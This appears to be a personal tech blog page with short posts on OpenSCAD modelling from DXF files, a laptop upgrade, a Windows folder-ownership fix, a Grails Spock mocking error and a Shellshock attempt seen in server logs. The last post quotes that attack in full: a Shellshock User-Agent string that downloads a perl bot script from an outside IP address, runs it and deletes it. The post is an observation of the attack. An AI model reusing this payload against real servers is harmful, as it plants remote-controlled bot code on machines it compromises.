Svg-based 3D model in OpenSCAD via Inkscape/DXF

OpenSCAD ist a really cool tool for simple solid modeling. However, the built-in shapes naturally have their limitations, and one option for getting more details is to import SVG files.

Here’s how you can do it:

  • Create or import your SVG in Inkscape
  • Ungroup all groups (select all, Object -> Ungroup, possible repeat this several times depending on your SVG)
  • Use Extensions -> Modify Path -> Flatten Bezier (a flatness of 1 yields reasonable results, try out what works best)
  • Save as DXF file
  • Use it in OpenSCAD with the “import” statement, and give it some height with the “linear_extrude” statement (see sample code below)
  • Depending on what you’re modeling, you may want to invert your structure using the “difference” operation (like in the example below)

Here’s an example of an SVG (converted to dxf) file (from http://www.patterndesigns.com/en/design/819/Aramis-Braun, curtesy of Pattern Design) being used to build a simple but nice tea candle lamp …

openscad-lamp

… and here’s the OpenSCAD code

size = 360;
module baroquePattern() {
    
    difference()
    {   
        translate([0,0,0.5]) cube(size=[size,size,1]);
        linear_extrude(height = 2) import (file = "D:\\baroque.dxf");
    }
}

plateSize = size * 2;

module baroquePatternPlate() {
    //create a 2x2 plate from the original repeatable element
    baroquePattern();
    translate([size, 0, 0]) baroquePattern();
    translate([0, size, 0]) baroquePattern();
    translate([size, size, 0]) baroquePattern();
}

rotate([90, 0, 0]) baroquePatternPlate();
translate([0,plateSize,0])rotate([90, 0, 0]) baroquePatternPlate();
rotate([90, 0, 90]) baroquePatternPlate();
translate([plateSize,0,0]) rotate([90, 0, 90]) baroquePatternPlate();
Posted in Computer | Leave a comment

Upgrading a Lenovo Ideapad Y580 notebook

Software needs good hardware, so if you accidentally own a Lenovo Ideapad Y580 notebook, here’s what hardware worked fine for me

  • RAM upgrade from 8GB (2x4GB Ramaxel, came with the notebook) to 16 GB: Corsair Vengeance 16GB (2x8GB) DDR3 1600 MHz (PC3 12800) Laptop memory (CMSX16GX3M2A1600C10).
    Didn’t notice any difference when working (Windows 7 upgrade vom 7.7 to 7.9 rating, wow) except that I don’t run out of RAM anymore when doing development or having VMs running (and allocating a 8GB array in Java works 😉 )
  • Hard disk change from a conventional-SATA 256 GB Samsung SSD EVO 840 to a micro-STA Samsung MZ-M5E250BW internal SSD 250GB (mSATA) aka EVO 850
    Boot time is from about 14 seconds down to 8, also working is a bit faster – the main benefit is that the conventional-SATA slot is now available for a larger standard harddisk
Posted in Computer | Leave a comment

“You don’t currently have permission to access this folder”

“You don’t currently have permission to access this folder” – this error happens sometimes on my Windows 7 machine – seemingly in conjunction with cygwin – somehow the ownership of folders/directories gets broken.

Here’s the command to fix this quickly – run as administrator via cmd:

for /D %f in (*) do takeown /R /D Y /f %f

It loops through all directories within the current directory, and takes ownership of the folders (the /R is for recursion, the /D Y (Y will be J on German-language windowses, and the last part just specified that it concerns the folder that’s the current one in the for loop)

Posted in Uncategorized | Leave a comment

Ambiguous method overloading for method in Grails Spock Test

In case you run into the following exception when using mocks in a Spock test:

groovy.lang.GroovyRuntimeException: Ambiguous method overloading for method java.lang.Integer#multiply.
Cannot resolve which method to invoke for [null] due to overlapping prototypes between:
	[class java.lang.Character]
	[class java.lang.Number]

It might be that the mistake is simply that you need to use the rightshift operator (>>) instead of leftshift (<<) for adding the mocked return value. Here's how I produced the (not really obvious) error:

        service.publicRESTCategoriesService = Mock(PublicRESTCategoriesService)
        1 * service.publicRESTCategoriesService.getCustomDesignsCategories(12L, false, ‘test’) << [1]  // '<<' is wrong, use '>>’
Posted in Software | Leave a comment

My First Real Shellshock

Apart from a harmless backping immediately after the shellshock vulnerability became known, here’s now the first time that I noticed an actual exploit. (There may have been others that went unnoticed who might have just used some http headers). This one caused a 404 by accessing “/phppath/cgi_wrapper”, which we don’t have on our servers. So here’s the User-Agent string – have fun reading the perl script that it’s trying to download and execute:

() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESSX";system("wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl");'
Posted in Software | Leave a comment